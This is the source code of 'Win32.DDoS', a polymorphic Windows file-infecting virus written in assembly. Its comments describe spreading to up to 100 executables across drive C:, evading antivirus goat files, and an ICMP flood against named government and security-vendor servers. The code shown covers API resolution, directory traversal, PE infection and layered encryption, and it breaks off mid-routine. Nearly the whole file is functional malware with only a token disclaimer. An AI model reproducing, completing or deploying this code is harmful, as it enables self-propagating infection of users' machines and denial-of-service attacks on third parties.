MalwareSourceCode/Win32/Infector/Win32.DDoS.asm
2020-10-16 23:26:21 +02:00

2363 lines
73 KiB
NASM

;
; ***************************************************************************
; -----------------[ Win32.DDoS by SnakeByte { KryptoCrew } ]----------------
; ***************************************************************************
;
;
;
; Please note that it is illegal to spread viruses, so if you compile this
; code, just test it on a closed system and don't place it in the wild !
; I am not responsible for your actions .. as always ;)
;
;
;
;
; This is the first Windows Virus I've written so far, and some parts are from
; Win32.Aztec by Billy Beleceb, because at the time i wrote this thing, not everything
; was clear in my mind, as it is now, hope I can present you some better things from me
; in the future.
;
; This is also my first polymorphic virus ever ;) so don't expect too much from the
; poly engine. I did not understand much of the code from other poly engines, but
; now, after coding one on my own, I do, so I maybe can code a better one the next time ;)
;
; The first layer is nearly completely polymorphic. I use junk opcodes like mov, add ...
; and try to keep track that they don't look completely useless.
; I also use several ways to decrypt the virus ( xor, neg, not .. ) and
; several methods to do the loop. The size will always be in ECX and
; the start in ESI, but i use several methods to put the values inside
; the registers so there is nothing static.
; The only static thing left is the call to the polymorphic decryptor ;(
;
;
; I was just able to test this thing on a Win95 PC, so I don't know if it will
; work on other systems, but I think it will. Two friends made some tests under
; NT and 2k with a beta, and it worked, so I hope this final version will also do.
;
;
; It tries to get the 4 following API's:
;
; - Kernel32.dll <- the only one we really need to work, the others are for fun
;
; - Imagehlp.dll <- try to create a valid CRC for the PE-Header of infected files
; - Advapi32.dll <- get some data from the registry
; - Winsck32.dll <- Payload : Ping-flood a server
;
;
;
;
; What does this Virus do :
;
; - 1.st Generation infects just the current directory ( easier to infect just some files *eg* )
; - Get's API's with LoadLibraryA & GetProcAddress
; - Tries to load ImageHlp.dll to create checksums with the CheckSumMappedFile Function
; - Infects the current, the windows and the system directory and parses some
; random directory's on drive C:
; - Follows LNK - Files ( does not work with NT / 2k )
; - Removes and restores File-Attributes
; - Parses Drive C:, enters a folder with a chance of 1 to 3
; - Retrieves the Startmenue from registry and parses it ( follows LNK-Files there )
; - If everything runs well it will infect 100 files all over the disk
; - Generates a polymorph decryptor which will be used for all files infected in one run
; - Uses 2 layers of decryption ( 1st is poly, 2nd is harder to debug / emulate )
; - Does not infect files smaller than 40 kb
; - Will not infect files with AV, AN or DR in the filename
; - Payload is a icmp flood on one of these servers :
;
; Sunday = www.bundesnachrichtendienst.de
; Monday = French Secret Service ( dgse.citeweb.net )
; Tuesday = www.avp.com ( AV )
; Wednesday = www.lockdown2000.com
; Thursday = www.f-secure.com
; Friday = www.norton.com
; Saturday = www.zonelabs.com
;
; *# Please note that i choose these servers because I think they can #*
; *# handle such an attack, if any idiot would release this into the wild. #*
;
;
;
;
;
;
; To make this code working use TASM 5.0 and pewrsec.
;
;
;
;
;
;
; Thanks and greetz fly to these people:
;
; Billy Beleceb - Your Win32 VWG is just great ..
; ( you'll find some of your code [Win32.Aztec] here ;)
; Evul - Thanks for hosting my site at coderz.net
; Ciatrix - Hope you carry on your good work with VDAT !
; SnakeMan - Hope you get more entrys *g* --> http://altavirus.cjb.net
; PhilippP - Thanks for the thrilling test in 2k .. ;)
; BumbleBee - Still thinking of Sex ?
; diediedie - Thnx for demotivating me... :)
; asmodeus - nice beginner lesson in poly ;)
; darkman - just believe me: the question was stupid ;)
;
;
;
;
;
; ***************************************************************************
; ---------------------------[ Here we start ]-------------------------------
; ***************************************************************************
.586p
.model flat
jumps ; Jumps get calculated
; ( I know not good for optimizing.. )
.radix 16 ; All numbers are Hexadecimal
; I once searched for a forgotten 'h'
; 2 weeks until I found this bug.. :P
; some API's
extrn ExitProcess:PROC ; fake host for 1. Generation
extrn MessageBoxA:PROC ; For testing purposes ( no longer needed )
; but i needed it for error-detection *g*
; 'cause I am too stupid to work with softice.. :(
.data ; fake data for TASM
db ? ; otherwise TASM would not compile this
; we store all our data in the code
; section, that's why we need to use
; pewrsec after compiling, to set the
; code section flags to write !
; some constants I don't want to calculate on my own *g*
VirusSize equ (offset VirusEnd - offset Virus )
CryptSize equ (offset VirusEnd - offset CryptStart )
NoCrypt equ (offset CryptStart - offset Virus )
FirstLSize equ (offset VirusEnd - offset FirstLayerStart )
Buffersize equ (offset EndBufferData - offset VirusEnd )
FILETIME STRUC
FT_dwLowDateTime dd ?
FT_dwHighDateTime dd ?
FILETIME ENDS
.code
; ***************************************************************************
; -------------[ Delta Offset and searching for the Kernel Addy ]------------
; ***************************************************************************
Virus: ; Here we go
call PDecrypt ; call the poly decryption routine
; which is located at the end of virus
; just a simple 'ret' in the first generation
FirstLayerStart: ; here starts the first layer
; everything will be crypted from here on
call Delta ; let's get the delta - offset
Delta:
mov ebp, offset Delta ; I want to do this a bit different
neg ebp ; than usual, who knows, maybe this
pop eax ; fools some bad heuristics
add ebp, eax
or ebp, ebp ; we don't need to decrypt the 1.
jz CryptStart ; Generation
; save esp
mov dword ptr [ebp+XESP], esp
mov ecx, (CryptSize / 2) ; the lenght of crypted part in words
mov dx, word ptr [ebp+Key]
lea esp, [ebp+CryptStart] ; set esp to the start of the decrypted part
DeCryptLoop: ; let's decrypt the virus
pop ax ; we pop the body word by word
inc dx ; this method fucks with debuggers, who
xchg dl, dh ; trace with int 1h ( destroys stack )
xchg al, ah
xor ax, dx
not ax
push ax
add esp, 2h
loop DeCryptLoop
; restore esp
mov esp, dword ptr [ebp+XESP]
jmp CryptStart ; start virus
Key dw 0h ; our key
XESP dd 0h ; we save the esp here
db 4 dup (90h) ; some nop's so we will not jump into a instruction
; ( happened sometimes during testing :( )
; because of the prefech queue buffer ( or whatever this is spelled .. )
CryptStart:
; we save these two values ( EIP & Imagebase )
; to be able to return to the original host..
mov eax, dword ptr [ebp+OldEIP]
mov dword ptr [ebp+retEIP], eax
mov eax, dword ptr [ebp+OldBase]
mov dword ptr [ebp+retBas], eax
mov eax, dword ptr fs:[0] ; save the original SEH
mov dword ptr [ebp+SEH_Save], eax
mov esi, [esp] ; let's get the return address of the Create Process API
xor si, si ; round it to a full page
push dword ptr [ebp+Error_ExecuteHost]
mov fs:[0], esp ; set new SEH
call GetKernel ; try to get it
jnc GetApis ; If got it we try to retrieve the API's
; Otherwise, we try to check for
; the kernel at some fixed addresses
; But the way above should work most
; of the times.. :)
mov esi, 0BFF70000h ; try the Win95 Kernel Addy
call GetKernel
jnc GetApis
mov esi, 077F00000h ; try the WinNT Kernel Addy
call GetKernel
jnc GetApis
mov esi, 077e00000h ; try the Win2k Kernel Addy
call GetKernel
jnc GetApis
; if we still did not found the
jmp Error_ExecuteHost ; kernel we stop the virus
; and execute the goat
; ***************************************************************************
; -------------------------[ let's get the API's ]---------------------------
; ***************************************************************************
; These are the 2 API's we search in the Kernel
; we need them to get all the others API's
; I prefer LoadLibraryA to GetModuleHandle,
; because it is no longer nessecairy, that the
; file we infect loads the dll files we need,
; we load them on our own,... ;)
; This means, we can use almost any API we want to *eg*
; LoadLibraryA also returns the Module-Handle, but
; if it is not loaded it loads it ... bla.. ;P
LL db 'LoadLibraryA', 0h ; we need these API's for searching..
GPA db 'GetProcAddress', 0h
GetApis: ; Offset of the Kernel32.dll PE-Header is in EAX
mov [ebp+KernelAddy], eax ; Save it
mov [ebp+MZAddy], ebx
lea edx, [ebp+LL] ; Points to name of the LoadLibaryA - API
mov ecx, 0Ch ; Lenght of Name
call SearchAPI1 ; search it..
mov [ebp+XLoadLibraryA], eax
; Save the Addy
xchg eax, ecx ; If we didn't get this API or the other one, we quit !
jecxz ExecuteHost ; thnx to Billy ;)
lea edx, [ebp+GPA] ; Points to name of the GetProcAddress - API
mov ecx, 0Eh ; Lenght of Name
call SearchAPI1
mov [ebp+XGetProcAddress], eax
; Save the Addy
xchg eax, ecx ; check if we failed
jecxz ExecuteHost ; ( thnx again, nice way of optimization *g* )
; Now we have our 2 nessecairy API's
jmp GetAPI2 ; and are able to get the others
; Yes I know this jmp is not very optimizing.. ;)
; But storing the data here helps me understanding
; my code *bg*
; this dll is delivered with every version
KERNEL32 db 'Kernel32',0 ; of windows, so we will get it always ( ..most likely *g* )
; the virus relies on it
IMAGEHLP db 'Imagehlp',0 ; this dll is not nessecairily needed, but dll's will
; only get infected, if we are able to use the CheckSumMappedFile
; Function from this dll to create a checksum
; it is delivered with win9x, NT and several compilers.
ADVAPI db 'advapi32',0 ; this dll is neccessairy to retrieve the startmenue folder
; from registry, so we are able to follow the shortcuts there
WSOCK db 'wsock32.dll',0
; we need this one here to perform a ping
; ( not needed for the virus, but the payload )
GetAPI2: ; We get them, by grabbing the handles of
; different DLL's first and use GetProcAddress
; to locate the API's itself
; Let's get the Handles by calling
; the LoadLibrary API.. :)
; if we fail to get the
; Kernel32, we execute the
; original host
lea eax, [ebp+KERNEL32]
push eax
call dword ptr [ebp+XLoadLibraryA]
mov [ebp+K32Handle], eax
test eax, eax
jz ExecuteHost
lea eax, [ebp+IMAGEHLP]
push eax
call dword ptr [ebp+XLoadLibraryA]
mov [ebp+IHLHandle], eax
lea eax, [ebp+ADVAPI]
push eax
call dword ptr [ebp+XLoadLibraryA]
mov [ebp+ADVHandle], eax
lea eax, [ebp+WSOCK]
push eax
call dword ptr [ebp+XLoadLibraryA]
mov [ebp+W32Handle], eax
lea esi, [ebp+Kernel32Names]
lea edi, [ebp+XFindFirstFileA]
mov ebx, [ebp+K32Handle]
push NumberOfKernel32APIS
pop ecx
call GetAPI3
lea esi, [ebp+ImageHLPNames]
lea edi, [ebp+XCheckSumMappedFile]
mov ebx, [ebp+IHLHandle]
xor ecx, ecx
inc ecx
call GetAPI3
lea esi, [ebp+ADVAPI32Names]
lea edi, [ebp+XRegOpenKeyExA]
mov ebx, [ebp+ADVHandle]
push 3d
pop ecx
call GetAPI3
lea esi, [ebp+WSOCK32Names]
lea edi, [ebp+Xsocket]
mov ebx, [ebp+W32Handle]
push 3d
pop ecx
call GetAPI3
; ***************************************************************************
; ------------------[ Outbreak ! Here we start infecting ]-------------------
; ***************************************************************************
; Now we got everything we need to
; start infecting some files *eg*
; First of all we retrieve the
; foldernames of the current folder,
; the system folder, and the windows folder
; these are the folders we start to infect
lea edi, [ebp+curdir]
push edi
push 7Fh
call dword ptr [ebp+XGetCurrentDirectoryA]
call genPoly ; before we infect anything, we
; create a poly decryptor used for
; all files we infect = slow poly !
mov [ebp+InfCounter], 10d ; Number of files we want to infect !
call InfectCurDir ; first of all we infect the current directory
or ebp, ebp ; if this is the first generation, we infect just
jz ExecuteHost ; the first directory ( makes it easier to infect
; just some files .. *g*
; we also don't start the payload !
push 7Fh ; buffer - size
; 7fh = 127d = max lenght of Directory name
lea edi, [ebp+windir] ; Pointer to the offset where we save the directory
push edi
call dword ptr [ebp+XGetWindowsDirectoryA]
lea edi, [ebp+windir] ; then we infect the windows directory
push edi
call dword ptr [ebp+XSetCurrentDirectoryA]
mov [ebp+InfCounter], 10d
call InfectCurDir
; we save both directory's in the same buffer
push 7Fh ; so we save 127 Bytes of the Buffersize
lea edi, [ebp+windir]
push edi
call dword ptr [ebp+XGetSystemDirectoryA]
lea edi, [ebp+windir] ; and the system directory ..
push edi
call dword ptr [ebp+XSetCurrentDirectoryA]
mov [ebp+InfCounter], 10d
call InfectCurDir
; if everything went fine, we have
; infected now up to 30 files !
; Is this enough ?
; ( please note that this is a rhetorical question *g* )
; We want more !
; ***************************************************************************
; -----------------------[ Parse Directory's ]-------------------------------
; ***************************************************************************
InitParsing:
mov [ebp+InfCounter], 30d ; let's parse some directorys for
; 30 more files !
lea edi, [ebp+RootDir]
call dword ptr [ebp+XSetCurrentDirectoryA]
call ParseFolder
; if we are not able to access the registry we
; infect another 20 Files in the System-Directory
cmp dword ptr [ebp+XRegOpenKeyExA], 0h
je InfectWinDirAgain
call GetStartMenue ; last but not least, we try to parse the
; start-menue folder ( follow the LNK's )
; to get 20 more files
; with some luck, we infect 100 files each run
; all over the HD *g*
; I think this can be called successfull spreading *g*
lea edi, [ebp+windir]
call dword ptr [ebp+XSetCurrentDirectoryA]
InfectWinDirAgain:
mov [ebp+InfCounter], 20d
call ParseFolder ; let's parse the startmenue and follow all
; LNK-Files inside ;)
jmp PayLoad ; start the evil part of this thingie ..
ParseFolder:
call InfectCurDir ; infect the current directory
cmp [ebp+InfCounter],0
jbe EndParsing ; we infected enough ? ok, leave !
lea esi, [ebp+Folders]
Call FindFirstFileProc
inc eax
jz EndParsing ; If there are no directorys we return
dec eax ; otherwise we save the handle
GetOtherDir:
; first of all we check if this
; is a valid directory
mov eax, dword ptr [ebp+WFD_dwFileAttributes]
and eax, 10h ; if not we get the next
jz NoThisOne ; one
lea esi, [ebp+WFD_szFileName]
cmp byte ptr [esi], '.' ; we will not parse into . or ..
je NoThisOne ; directorys
push 03h
pop ecx
call GetRand
dec edx ; if division-rest (edx) = 1
jz ParseNewDir ; we get this directory
NoThisOne:
call FindNextFileProc
test eax, eax
jnz GetOtherDir
EndParseDir2: ; we close the search - Handle
mov eax, dword ptr [ebp+FindHandle]
push eax
call dword ptr [ebp+XFindClose]
EndParsing: ; we just return
ret
ParseNewDir: ; we got a direcory, let's change to it
; and infect it.. *eg*
mov eax, dword ptr [ebp+FindHandle]
push eax
call dword ptr [ebp+XFindClose]
lea esi, [ebp+WFD_szFileName]
push esi
call dword ptr [ebp+XSetCurrentDirectoryA]
jmp ParseFolder
; ***************************************************************************
; -----------------[ Let's get the Startmenue folder ]-----------------------
; ***************************************************************************
GetStartMenue: ; Let's try to open HKEY_USERS registry Key
lea esi, [ebp+RegHandle]
push esi
push 001F0000h ; complete access
push 0h ; reserved
lea esi, [ebp+SubKey]
push esi
push 80000003h ; HKEY_USERS
call dword ptr [ebp+XRegOpenKeyExA]
test eax, eax ; if we failed opening the key, we return
jnz NoStartMenue
; let's get the value
lea esi, [ebp+BufferSize]
push esi
lea esi, [ebp+windir]
push esi
lea esi, [ebp+ValueType]
push esi ; Type of Value
push 0 ; reserved
lea esi, [ebp+Value]
push esi ; ValueName
mov eax, [ebp+RegHandle]
push eax ; Reg-Key Handle
call dword ptr [ebp+XRegQueryValueExA]
mov eax, dword ptr [ebp+RegHandle]
push eax
call dword ptr [ebp+XRegCloseKey]
NoStartMenue:
ret
SubKey db '.Default\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders',0
Value db 'Start Menu',0
ValueType dd 0h ; Type of registry Value
BufferSize dd 7Fh ; size of buffer
; ***************************************************************************
; ----------------[ API - Tables and some other data ]-----------------------
; ***************************************************************************
; Misc Data .. ;)
Folders db '*.',0 ; search for directory's
RootDir db 'C:\',0 ; we want to start parsing at root of Drive C:
; Here follow the tables of the api's we use
; for our virus, if you want to know what they
; do exactly simply check the Win32
; Programmer's Reference
; I won't explain them ( I think the names of them
; makes it clear enough *g* )
Kernel32Names: ; 17d API's we want from Kernel32.dll
NumberOfKernel32APIS equ 17d
db 'FindFirstFileA', 0
db 'FindNextFileA', 0
db 'FindClose', 0
db 'CreateFileA', 0
db 'SetFileAttributesA', 0
db 'CloseHandle', 0
db 'CreateFileMappingA', 0
db 'MapViewOfFile', 0
db 'UnmapViewOfFile', 0
db 'GetWindowsDirectoryA', 0
db 'GetSystemDirectoryA', 0
db 'GetCurrentDirectoryA', 0
db 'SetCurrentDirectoryA', 0
db 'GetFileAttributesA', 0
db 'GetTickCount', 0
db 'CreateThread',0
db 'GetSystemTime',0
ImageHLPNames:
db 'CheckSumMappedFile', 0h
ADVAPI32Names:
db 'RegOpenKeyExA',0
db 'RegQueryValueExA',0
db 'RegCloseKey',0
WSOCK32Names:
db 'socket',0
db 'WSACleanup',0
db 'WSAStartup',0
db 'closesocket',0
db 'sendto',0
db 'setsockopt',0
; ***************************************************************************
; --------------[ Retrieve API's with GetProcAddress ]-----------------------
; ***************************************************************************
; esi points to the Table of Names
; edi to the offsets
; ebx contains the module-handle
; ecx the number of API's
GetAPI3:
push ecx ; save ecx
push esi ; push api-name
push ebx ; Push Module-Handle
; call GetProcAddress
call dword ptr [ebp+XGetProcAddress]
stosd ; store api-offset
pop ecx ; did we get them all ?
dec ecx
jz EndApi3 ; if yes then return
push ecx ; otherwise move esi to next API-Name
SearchZero: ; we search for the end of the current
cmp byte ptr [esi], 0h
je GotZero ; api name ( always 0h ) and increase
inc esi
jmp SearchZero
GotZero:
inc esi
pop ecx ; get ecx ( counter )
jmp GetAPI3 ; retrieve Next API
EndApi3:
ret
; ***************************************************************************
; --------------[ Search Kernel Export Table for API's ]---------------------
; ***************************************************************************
SearchAPI1: ; In this procedure we search for the first 2 API's
; clear the counter
and word ptr [ebp+counter], 0h
mov eax, [ebp+KernelAddy] ; Load the PE-Header Offset
mov esi, [eax+78h] ; Get Export Table Address
add esi, [ebp+MZAddy] ; normalize RVA
add esi, 1Ch ; skip not needed data
; now we gave the Address Table RVA-Offset in esi
lodsd ; Get Address Table RVA
add eax, [ebp+MZAddy] ; convert to VA and save it
mov dword ptr [ebp+ATableVA], eax
lodsd ; Get Name Pointer Table RVA
add eax, [ebp+MZAddy] ; make it VA and save it
mov dword ptr [ebp+NTableVA], eax
lodsd ; Get Ordinal Table RVA
add eax, [ebp+MZAddy] ; guess what ? *g*
mov dword ptr [ebp+OTableVA], eax
mov esi, [ebp+NTableVA] ; Get the Name Pointer Table Addy in esi
SearchNextApi1:
push esi ; Save Pointer Table
lodsd
add eax, [ebp+MZAddy] ; make it VA
mov esi, eax ; API Name in the Kernel Export API
mov edi, edx ; API we are looking for
push ecx ; save the size
cld ; Clear direction Flag
rep cmpsb ; Compare it
pop ecx
jz FoundApi1 ; Are they equal ?
pop esi ; Get the Pointer Table
add esi, 4h ; Set Pointer to the next api
inc word ptr [ebp+counter]
cmp word ptr [ebp+counter], 2000h
je NotFoundApi1
jmp SearchNextApi1 ; test next API
FoundApi1:
pop esi ; clear stack ( we don't want buffer overflows
; ok, we want them, but not here *bg* )
movzx eax, word ptr [ebp+counter]
shl eax, 1h ; multiply eax with 2
; Make eax Point to the right entry inside the
; Ordinal Table
add eax, dword ptr [ebp+OTableVA]
xor esi, esi ; clear esi
xchg eax, esi ; make esi point to the entry
lodsw ; get Ordinal in AX
shl eax, 2h ; eax * 4
add eax, dword ptr [ebp+ATableVA]
mov esi, eax ; esi points to the address RVA
lodsd ; eax = address RVA
add eax, [ebp+MZAddy] ; Make it VA
ret ; Return with API-Addy in eax
NotFoundApi1:
xor eax, eax ; We didn't find the API we need :(
ret ; We set EAX to 0 to show we have to
; return to the host..
; ***************************************************************************
; -------------------[ Execute the original Program ]------------------------
; ***************************************************************************
ExecuteHost: ; Here we execute the original program
lea edi, [ebp+curdir] ; we return to the original directory..
push edi
call dword ptr [ebp+XSetCurrentDirectoryA]
or ebp, ebp ; if this is a virus of the first generation
jz FirstGenHost ; we can't return to a host, so we
; stop this with ExitProcess..
Error_ExecuteHost:
mov eax, dword ptr [ebp+SEH_Save]
push eax
mov fs:[0], esp
mov eax,12345678h ; here we return to
org $-4 ; the old entry point
retEIP dd 0h ; of the infected file
add eax,12345678h
org $-4
retBas dd 0h
jmp eax
FirstGenHost:
push 0h ; Stop executing this stuff ( first Generation
call ExitProcess ; only )
OldEIP dd 0h ; Old Entry Point
OldBase dd 0h ; Old Imagebase
NewEIP dd 0h ; New Entry Point ( points to our virus.. )
; ***************************************************************************
; ----------------[ We try to find the Kernel Address ]----------------------
; ***************************************************************************
GetKernel: ; Here we try to retrieve the Kernel
; set search range
mov byte ptr [ebp+K32Trys], 5h
GK1:
cmp byte ptr [ebp+K32Trys], 00h
jz NoKernel ; Did we pass our limit of 50 pages ?
call CheckMZSign ; Has this Page a DOS EXE-Header ?
jnc CheckPE
GK2:
sub esi, 10000h ; Get the next page
dec byte ptr [ebp+K32Trys]
jmp GK1 ; Check it
CheckPE: ; Let's check if we really found
mov edi, [esi+3Ch] ; the Kernel32.dll PE-Header
add edi, esi
call CheckPESign ; check for PE-Sign
jnc CheckDLL ; check for the DLL-Flag
jmp GK2
CheckDLL:
add edi, 16h ; check for the Dll-Flag
mov bx, word ptr [edi] ; get characteristics
and bx, 0F000h ; we need just the Dll-Flag
cmp bx, 02000h
jne GK2 ; if it is no dll go on searching
KernelFound: ; we found the Kernel32.dll
sub edi, 16h ; set edi to the PE - Header
xchg eax, edi ; save PE address in eax
xchg ebx, esi ; save MZ address in ebx
cld
ret
NoKernel: ; if not found we don't set the carriage flag
stc
ret ; return if not found
K32Trys db 5h ; Search-Range
; ***************************************************************************
; -----------------[ Infection of the current directory ]--------------------
; ***************************************************************************
InfectCurDir: ; Here we infect the files in the current directory
; we use the FindFirstFile - FindNextFile API's
; to scan all files for PE-Executables and
; LNK-Files.
lea esi, [ebp+filemask]
call FindFirstFileProc
inc eax
jz EndInfectCurDir1 ; If there are no files, we return
dec eax
InfectCurDirFile:
; filename in esi
lea esi, [ebp+WFD_szFileName]
call InfectFile ; Try to infect it !
cmp [ebp+InfCounter], 0h ; if we infected enough files
jna EndInfectCurDir2 ; we return
call FindNextFileProc
test eax, eax
jnz InfectCurDirFile
EndInfectCurDir2: ; we close the search - Handle
push dword ptr [ebp+FindHandle]
call dword ptr [ebp+XFindClose]
EndInfectCurDir1: ; we just return
ret
InfCounter db 0h ; Counter for the number of files we infect
; at max in the current directory
; ( could take too long if we want to infect them
; all )
FindHandle dd 0h ; The handle for the FindFirstFile API
filemask db '*.*', 0 ; we search for all files, not just exe files
; these structures are nessecairy
; for the FindFileFirst - FindFileNext API's
; ***************************************************************************
; ---------------------[ Prepare infection of file ]------------------------
; ***************************************************************************
InfectFile: ; Here we prepare to infect the file
; the filename is in [ebp+WFD_szFileName]
; we open it and check if it is something
; we are able to infect...
; esi points to the filename..
cmp byte ptr [esi], '.' ; check if we got .. or .
je NoInfection
; if the file is smaller than
; 200 Bytes it will not get checked or
; infected !
cmp dword ptr [ebp+WFD_nFileSizeLow], 200d
jbe NoInfection
; we also don't infect it if it is too big
cmp dword ptr [ebp+WFD_nFileSizeHigh], 0
jne NoInfection
call CheckFileName ; check for AV-Files
jc NoInfection
; Get File-Attributes
lea eax, [ebp+WFD_szFileName]
push eax
call dword ptr [ebp+XGetFileAttributesA]
; save them
mov dword ptr [ebp+Attributes], eax
inc eax
jz NoInfection ; if we failed we don't infect
dec eax
push 80h ; clean attributes
lea eax, [ebp+WFD_szFileName]
push eax
call dword ptr [ebp+XSetFileAttributesA]
or eax, eax ; if we fail, we don't open the file
jz NoInfection ; if we have no access to set the attributes,
; we will surely not be allowed to change the file itself
call OpenFile ; open the file
jc NoInfection ; if we failed we don't infect..
mov esi, eax
call CheckMZSign ; if it is an EXE file, we go on
jc CheckLNK ; otherwise we test if it is a LNK
cmp word ptr [eax+3Ch], 0h
je CheckLNK
xor esi, esi ; get the start of the PE-Header
mov esi, [eax+3Ch]
; if it lies outside the file we skip it
cmp dword ptr [ebp+WFD_nFileSizeLow], esi
jb Notagoodfile
add esi, eax
mov edi, esi
call CheckPESign ; check if it is an PE-Executable
jc Notagoodfile
; check infection mark --> DDoS
; if it is there the file is already infected..
cmp dword ptr [esi+4Ch], 'SoDD'
jz Notagoodfile
mov bx, word ptr [esi+16h]; get characteristics
and bx, 0F000h ; we need just the Dll-Flag
cmp bx, 02000h
je Notagoodfile ; we will not infect dll-files
mov bx, word ptr [esi+16h]; get characteristics again
and bx, 00002h ; we check if it is no OBJ or something else..
cmp bx, 00002h
jne Notagoodfile
call InfectEXE ; ok, infect it !
; if there occoured an error
; while mapping the file again,
; we don't need to unmap & close it
jc NoInfection
jmp Notagoodfile
CheckLNK: ; check if we got an LNK-File
mov esi, dword ptr [ebp+MapAddress]
cmp word ptr [esi], 'L' ; check for sign
jne UnMapFile ; if it is no LNK File we close it
call InfectLNK
Notagoodfile:
call UnMapFile ; we store the file..
; we restore the file-attributes
push dword ptr [ebp+Attributes]
lea eax, [ebp+WFD_szFileName]
push eax
call dword ptr [ebp+XSetFileAttributesA]
NoInfection:
ret
; ***************************************************************************
; ------------------------[ Open and close Files ]---------------------------
; ***************************************************************************
OpenFile:
xor eax,eax ; let's open the file
push eax
push eax
push 3h
push eax
inc eax
push eax
push 80000000h or 40000000h
push esi ; name of file
call dword ptr [ebp+XCreateFileA]
inc eax
jz Closed ; if there is an error we don't infect the file
dec eax ; now the handle is in eax
; we save it
mov dword ptr [ebp+FileHandle],eax
; if we map a file normal, we map it with the size
; in the Find32-Data
; otherwise it is in ecx
mov ecx, dword ptr [ebp+WFD_nFileSizeLow]
CreateMap:
push ecx ; save the size
xor eax,eax ; we create a map of the file to
push eax ; be able to edit it
push ecx
push eax
push 00000004h
push eax
push dword ptr [ebp+FileHandle]
call dword ptr [ebp+XCreateFileMappingA]
mov dword ptr [ebp+MapHandle],eax
pop ecx ; get the size again..
test eax, eax ; if there is an error we close the file
jz CloseFile ; no infection today :(
xor eax,eax ; we map the file.. *bla*
push ecx
push eax
push eax
push 2h
push dword ptr [ebp+MapHandle]
call dword ptr [ebp+XMapViewOfFile]
or eax,eax ; if there is an error, we unmap it
jz UnMapFile
; eax contains the offset where
; our file is mapped.. *g*
mov dword ptr [ebp+MapAddress],eax
; Clear c-flag for successful opening
clc
ret ; we successfully opened it !
UnMapFile: ; ok, unmap it
call UnMapFile2
CloseFile: ; let's close it
push dword ptr [ebp+FileHandle]
call [ebp+XCloseHandle]
Closed:
stc ; set carriage flag
ret
UnMapFile2: ; we need to unmap it some times, to
; map it again with more space..
push dword ptr [ebp+MapAddress]
call dword ptr [ebp+XUnmapViewOfFile]
push dword ptr [ebp+MapHandle]
call dword ptr [ebp+XCloseHandle]
ret
; ***************************************************************************
; -------------------------[ Infect an EXE-FILE ]----------------------------
; ***************************************************************************
InfectEXE: ; MapAddress contains the starting offset of the file
; we will not infect exe files, which are smaller than
; 40 Kb, this is for avoiding goat files.
; AV's use them to study viruses !
cmp dword ptr [ebp+WFD_nFileSizeLow] , 0A000h
jb NoEXE
mov ecx, [esi+3Ch] ; esi points to the PE-Header
; ecx contains file-alignment
; put size in eax
mov eax, dword ptr [ebp+WFD_nFileSizeLow]
add eax, dword ptr [ebp+VirLen]
call Align ; align it and save the new size
mov dword ptr [ebp+NewSize], eax
xchg ecx, eax
pushad ; save registers
; we close the file and map it again,
; but this time we will load it
; with some more space, so we can add
; our code *eg*
call UnMapFile2
popad
call CreateMap ; we map it again with a bigger size
; if we got an error we return
jc NoEXE
; make esi point to the PE-Header again
; get offset
mov esi, dword ptr [eax+3Ch]
; make it VA
add esi, eax
mov edi, esi ; edi = esi
; eax = number of sections
movzx eax, word ptr [edi+06h]
dec eax
imul eax, eax, 28h ; multiply with size of section header
add esi, eax ; make it VA
add esi, 78h ; make it point to dir table
; esi points now to the dir-table
mov edx, [edi+74h] ; get number of dir - entrys
shl edx, 3h ; multiply with 8
add esi, edx ; make point to the last section
; get the Entry Point and save it
; we need it to be able to return
; to the original file
mov eax, [edi+28h]
mov dword ptr [ebp+OldEIP], eax
; get the imagebase, also needed to
; execute original file
mov eax, [edi+34h]
mov dword ptr [ebp+OldBase], eax
mov edx, [esi+10h] ; size of raw data
; we will increase it later
mov ebx, edx
add edx, [esi+14h] ; edx = Pointer to raw-data
push edx ; save it in stack
mov eax, ebx
add eax, [esi+0Ch] ; make it VA
; this is our new EIP
mov [edi+28h], eax
mov dword ptr [ebp+NewEIP], eax
mov eax, [esi+10h] ; get size of Raw-data
push eax
add eax, dword ptr [ebp+VirLen]
; increase it
mov ecx, [edi+3Ch] ; Align it
call Align
; save it in the file as
; new size of rawdata and
mov [esi+10h], eax
pop eax ; new Virtual size
add eax, dword ptr [ebp+VirLen]
add eax, Buffersize
mov [esi+08h], eax
pop edx
mov eax, [esi+10h]
add eax, [esi+0Ch] ; New Size of Image
; save it in the file
mov [edi+50h], eax
; change section flags to make
; us have write & read access to it
; when the infected file is run
; we also set the code flag.. ;)
or dword ptr [esi+24h], 0A0000020h
; we write our infection mark to the program,
; so we will not infect it twice
; --> DDoS
mov dword ptr [edi+4Ch], 'SoDD'
push edi ; save them
push edx
push 10d
pop ecx
call GetRand ; get random number ( we'll use the EAX value )
pop edi ; restore and xchange
pop edx
mov word ptr [ebp+Key], ax
push eax ; save it 2 times
lea esi, [ebp+Virus] ; point to start of virus
add edi, dword ptr [ebp+MapAddress]
push edi ; save edi
mov ecx, dword ptr [ebp+VirLen]
; get size of virus in ecx
rep movsb ; append virus !
pop esi ; decrypt the virus
mov edi, esi
add esi, NoCrypt
mov ecx, (CryptSize / 2)
pop edx ; get key from stack
push edi ; save start
mov edi, esi
EnCryptLoop: ; decrypt with second layer
lodsw
not ax
inc dx
xchg dl, dh
xor ax, dx
xchg al, ah
stosw
loop EnCryptLoop
pop esi ; let's start decrypting with the second layer
add esi, 05h ; skip the call
mov ecx, FirstLSize ; mov size to ecx
mov edi, esi
mov edx, dword ptr [ebp+CryptType]
xor eax, eax
XorEncrypt: ; we use a simple xor
dec edx
jnz NegEncrypt
mov dl, byte ptr [ebp+PolyKey]
@Xor:
lodsb
xor al, dl
stosb
loop @Xor
jmp EndPolyCrypto
NegEncrypt:
dec edx
jnz NotEncrypt
@Neg:
lodsb
neg al
stosb
loop @Neg
jmp End2LCrypto
NotEncrypt: ; not byte ptr [esi]
dec edx
jnz IncEncrypt
@Not:
lodsb
not al
stosb
loop @Not
jmp End2LCrypto
IncEncrypt: ; inc byte ptr [esi]
dec edx
jnz DecEncrypt
@Inc:
lodsb
dec al
stosb
loop @Inc
jmp End2LCrypto
DecEncrypt: ; dec byte ptr [esi]
lodsb
inc al
stosb
loop DecEncrypt
End2LCrypto:
dec byte ptr [ebp+InfCounter]
; if we succesfully received the dll and the
; function, we create a checksum for the
; file ( needed for dll's and WinNT )
cmp [ebp+XCheckSumMappedFile], 0h
je NoCRC
lea esi, [ebp+CheckSum]
push esi
lea esi, [ebp+HeaderSum]
push esi
push dword ptr [ebp+NewSize]
